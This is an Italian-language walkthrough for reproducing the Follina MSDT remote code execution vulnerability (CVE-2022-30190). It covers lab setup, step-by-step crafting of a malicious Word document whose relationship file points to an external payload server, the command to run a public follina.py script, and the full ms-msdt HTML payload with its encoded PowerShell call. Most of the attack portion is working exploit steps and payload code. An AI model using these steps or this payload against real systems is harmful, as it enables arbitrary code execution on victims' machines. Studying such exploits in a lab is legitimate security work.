
Guida alla riproduzione passo passo per la vulnerabilità di esecuzione remota di codice MSDT CVE-2022-30190 (Follina), inclusa la creazione di documenti dannosi e la configurazione del server C2.
noto anche come Follina
Follina è presente nello strumento di diagnostica del supporto Microsoft (Microsoft Support Diagnostic Tool, MSDT). Quando un'applicazione chiama MSDT tramite il protocollo URL per il supporto, si verifica una vulnerabilità di esecuzione remota di codice. Un attacco sfruttato con successo consente a un hacker di eseguire codice arbitrario con i permessi dell'applicazione in esecuzione.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Passo 1: Creare un documento Word (.docx) e inserire un oggetto OLE (ad es. Bitmap Image) nel testo.
Passo 2: Estrarre il file .docx, modificare il file word/_rels/document.xml.rels nella cartella; cambiare (evidenziato in giallo nell'immagine sotto) in
, e aggiungere l'attributo .
Passo 3: Modificare il file nella cartella; cambiare (evidenziato in giallo nell'immagine sotto) in e aggiungere l'attributo .
Passo 4: Aprire il file .docx con 7-zip (senza estrarlo), reinserire i due file sopra menzionati nel file .docx e completare la creazione del documento dannoso.
Target="embeddings/oleObject1.bin"Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Scaricare Follina.py pubblicato da John Hammond; qui prendiamo come esempio il richiamo di base della calcolatrice,
python3 follina.py -c calc.exe -i eth0
In Follina.py, le righe 117-125 servono principalmente a creare il payload dannoso (.html), il cui contenuto è il seguente: <script>location.href... è lo script che esegue la calcolatrice sulla macchina vittima. L'intero file viene inoltre riempito con un gran numero di caratteri casuali, con l'obiettivo di portare il file ad almeno 4096 byte; per il motivo, fare riferimento a “Follina” MSDT Attack
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script